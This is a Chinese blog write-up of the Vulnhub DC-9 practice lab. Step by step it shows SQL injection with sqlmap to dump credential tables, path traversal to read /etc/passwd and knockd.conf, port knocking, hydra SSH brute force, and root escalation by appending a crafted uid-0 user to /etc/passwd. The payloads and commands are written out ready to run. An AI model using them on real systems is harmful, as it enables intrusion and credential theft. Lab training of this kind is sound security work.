首页 > 其他分享 >Vulnhub靶场DC-9练习

Vulnhub靶场DC-9练习

时间:2024-08-02 18:24:31浏览次数:13  
标签:http passwd DC 192.168 etc 22.14 Vulnhub 靶场 php

目录



0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-9.zip

介绍:The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。



0x01 主机信息收集


kali查询本机ip,执行命令:ifconfig

kali本机ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24

目标主机ip:192.168.22.14

探测目标主机开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.14

开放了22端口(filtered ssh表示被过滤了),ssh服务;80端口,http服务,Apache2.4.38。

在这里插入图片描述




0x02 站点信息收集


访问站点:http://192.168.22.14

探测站点的目录结构,执行命令:dirsearch -u 192.168.22.14

在这里插入图片描述




0x03 漏洞查找与利用


1. 发现SQL注入点


在search.php页面,可以提交数据进行查询,并返回查询的结果。

在这里插入图片描述


在manage.php页面可以提交用户名和密码进行登录。

在这里插入图片描述



综合上面两点,考虑在search页面试一下有没有SQL注入。

在search页面,http://192.168.22.14/search.php 提交查询的内容后,查询的结果显示在 http://192.168.22.14/results.php ,考虑是post方式,查询的数据在请求体中。抓包确认一下。

在这里插入图片描述


这里查询可以输入用户名之类的,所以考虑是字符型注入,重点是单引号闭合和注释多余的代码。构造语句:1‘ or 1=1 # ,预期的结果是查询出所有内容。在Display All Records页面,可以看到有17条记录,是所有的内容。

在search页面提交构造的语句:1‘ or 1=1 #

返回的结果是17条记录,说明查询成功。说明这里存在SQL注入。



2. Sqlmap跑数据


这里是POST方式,所以需要使用 -data 来指定参数。

确定是否存在注入,执行语句:sqlmap -u http://192.168.22.14/results.php --data “search=1”

确定是有注入的,并且数据是Mysql。

在这里插入图片描述


获取数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --dbs

有三个数据库:Staff,users,information_schema

在这里插入图片描述


确定当前链接的数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --current-db

当前的数据库是Staff。

在这里插入图片描述



获取Staff数据库的所有表名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff --tables

有两个表:StaffDetails,Users

在这里插入图片描述


获取Staff数据库,Users表的所有字段名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --columns

有三个字段:Password,UserID,Username

在这里插入图片描述


这三个字段看起来都有点用,直接获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --dump

在这里插入图片描述


admin用户的密码:856f5de590ef37314e7c3bdf6f8a66dc

是一个32位的数字和字母混合起来的密码,考虑MD5加密。

丢到网站里解密:https://www.somd5.com/

解密结果:transorbital1



3. 文件包含


回到站点的Manage页面,用上面的用户名和密码登录。

在这里插入图片描述


其他的页面跟登录前没什么区别,多了Add Record,是一个插入数据的地方。

但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。

构造:http://192.168.22.14/manage.php?file=/etc/passwd ,页面没有变化。

在路径前面加 ../ ,直到可以回显。

构造:http://192.168.22.14/manage.php?file=../../../../etc/passwd

可以看到passwd文件的内容。

在这里插入图片描述


可以看到很多的用户名。想到之前获取数据库表的时候,还有个users数据库。

获取这个数据库的表:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users —tables

有个UserDetails表。

在这里插入图片描述


获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users -T UserDetails --dump

在这里插入图片描述


这个表里的username用户名在/etc/passwd里面都出现过。

把username和password分别保存到文件user.txt和passwd.txt中,保存的时候去掉每一行后面的空格还有最后的空白行。



4. SSH爆破+端口敲门服务


利用hydra进行ssh爆破,执行命令:hydra -L user.txt -P password.txt 192.168.22.14 ssh

提示目标主机的22端口连不上。

在这里插入图片描述



前面进行端口探测的时候,22端口是过滤的。


考虑端口敲门服务,即knockd服务。简单来说,就是Linux系统其实开启了某个服务端口,但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”,使被隐藏的服务可以对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

kncoked服务的配置文件是 /etc/knockd.conf ,在这个文件中指明了需要的序列号sequence。

前面文件包含的地方可以查看系统文件,访问:[http://192.168.22.14/manage.php?file=../../../../etc/](http://192.168.22.14/manage.php?file=../../../../etc/passwd)knockd.conf

可以看到用来openssh的序列号是:7469,8475,9842

在这里插入图片描述


执行敲门命令开启22端口:knock 192.168.22.14 7469 8475 9842

执行完以后再看一下目标主机的开放端口,22开启了。(可以和最开始nmap的结果进行对比)

在这里插入图片描述



再来用hydra爆破ssh:hydra -L user.txt -P password.txt 192.168.22.14 ssh

可以看到有三个用户。

在这里插入图片描述


分别ssh登录上这三个用户:ssh [email protected]

在家目录下分别执行:ls -a (列出目录下的所有文件,包括以 . 开头的隐含文件)

在janitor用户下发现多了一个 .secrets-for-putin 。

查看一下内容,发现了几个密码。

在这里插入图片描述


将这几个密码放到前面保存的密码文件password.txt中,重新用hydra进行ssh爆破:hydra -L user.txt -P password.txt ssh://192.168.22.14

可以看到多了一个用户被破解出来。

在这里插入图片描述


再登录一下这个新用户:ssh [email protected]



5. 提权(写入/etc/passwd)


查看可以进行提权的利用点:sudo -l

这里有个test文件可以以root身份执行。

在这里插入图片描述


进入这个目录:cd /opt/devstuff/dist/test

执行test文件:./test

在这里插入图片描述


这个文件的使用和test.py有关。查找一下这个文件在哪:find / -name test.py 2>/dev/null

在这里插入图片描述


查看这个脚本的内容:cat /opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()



这个脚本的作用就是将第一个参数的内容读取出来,添加到第二个参数中。这两个参数是文件的路径名字。

可以考虑给/etc/passwd写入一个具有root权限的用户,用户名为admin,密码为123456。

所以构造一条/etc/passwd的内容保存在一个文件中,利用test命令写入到/etc/passwd文件中。

/etc/passwd的文件结构:

用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 

其中,uid=gid=0为超级用户,默认shell一般为/bin/bash。


(一开始构造了一个不需要密码的超级用户:hack::0:0::/root:/bin/bash ,结果切换用户登录的时候提示输入密码,所以重新构造一个需要密码的超级用户。用户名为dcdc,密码为123456。)

先用openssl生成admin用户的加密密码:openssl passwd -1 -salt dcdc 123456

得到加密的密码:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1

在这里插入图片描述


构造要插入的内容:dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash

Linux中/tmp目录是任何用户都可以写的。

将构造的数据写入/tmp/admin中:echo 'dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash' > /tmp/dcdc

再将构造的用户利用test写入passwd文件中:sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd

看一下/etc/passwd文件的内容,可以看到写入成功。

在这里插入图片描述


切换到用户dcdc,进入/root目录,成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。(22端口被过滤)

站点信息收集:

  1. dirsearch扫描站点的目录结构。
  2. 寻找sql注入点,确定注入类型。

漏洞利用:

  1. sqlmap跑数据库,获取登录的用户名和密码。
  2. 发现文件包含。
  3. hydra爆破ssh。
  4. knock服务开启22端口。
  5. 提权,将新用户写入/etc/passwd。



标签:http,passwd,DC,192.168,etc,22.14,Vulnhub,靶场,php
From: https://blog.csdn.net/weixin_39762423/article/details/140877482

相关文章

  • “靶”向“胃”来,Claudin18.2熠熠生辉,单抗、双抗、CAR-T、ADC蓄势待发
    2024年3月Claudin18.2单抗Zolbetuximab(商品名:VYLOY)在日本获批上市,用于治疗Claudin18.2阳性的不可切除晚期或复发性胃癌,是目前全球首个且唯一被批准的CLDN18.2靶向疗法。Claudin18.2正常生理中仅在胃黏膜上皮细胞表达,但在多种恶性肿瘤高表达,是治疗前景巨大的新靶点。目前Cla......
  • BLDC无刷电机驱动器技术及应用
    直流无刷电机较有刷电机具备有明显的优势:高效,寿命长,污染小等,目前市场还主要以交流电机和有刷电机为主导。无刷电机具备的特点也逐步取代有刷电机,但无刷直流电机需要电子器件替代换向器,电机旋转的过程中会产生复杂的工况,如转矩控制,脉动控制,电流控制,转速控制等,就需要一套较复杂的运......
  • VulnhubAI-web 1.0靶机详解
    项目地址https://www.vulnhub.com/entry/ai-web-1,353/实验过程将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机使用nmap进行主机发现,获取靶机IP地址nmap192.168.47.1-254根据对比可知DC-8的一个ip地址为192.168.47.135扫描Ai-Web......
  • [BJDCTF2020]The mystery of ip
    [BJDCTF2020]Themysteryofip、参考:PHP的模板注入(Smarty模板)Step根据提示,尝试伪造ipX-Forwarded-For:1发现回显也是1所以可能是模板注入,尝试X-Forwarded-For:{config}回显::Uncaught-->SmartyCompiler:Syntaxerrorintemplate"string:{config}"online1"{c......
  • 反序列化漏洞vulhub靶场serial
    环境搭建下载https://download.vulnhub.com/serial/serial.zip解压出来就是这种 你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。这里就是使用我们刚才下过来的。  漏洞过程详解1.信息收集打开靶机,在kali虚拟机中进行主机......
  • Vulnhub靶机:JANGOW_ 1.0.1
    目录前言:一、安装虚拟机Jangow:1.0.1靶机二、Web部分前言:难度:简单,本文使用VirtualBox打开,下载地址:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova一、安装虚拟机Jangow:1.0.1靶机1.选择下载的Jangow:1.0.1的文件路径。不要放C盘,不要放C盘。放在自己能记住......
  • android.uid.system sendBroadcast失效的问题
    如果是系统应用android:sharedUserId="android.uid.system"报这个错 Callingamethodinthesystemprocesswithoutaqualifieduser:android.app.ContextImpl.sendBroadcast:1188android.content.ContextWrapper.sendBroadcast:解决添加如下权限<uses-permissionandroi......
  • DevExpress WPF中文教程:如何将GridControl的更改发布到数据库?
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • 无法为 dcc.Dropdown 设置固定的可滚动大小
    我正在用python开发一个DashWeb应用程序,而且我对这个框架还很陌生,所以我正在努力让UI按照我想要的方式运行。基本上我有以下UI,其中有2个下拉菜单,可以让我相应地过滤并重新渲染图表。问题是,当我从下拉列表中选择更多点时,它不可避免地会增长以适应当前所选选项的列表......
  • [Bugku] web-CTF靶场详解!!!
               平台为“山东安信安全技术有限公司”自研CTF/AWD一体化平台,部分赛题采用动态FLAG形式,避免直接抄袭答案。          平台有题库、赛事预告、工具库、Writeup库等模块。-------------------------------Simple_SSTI_1         ......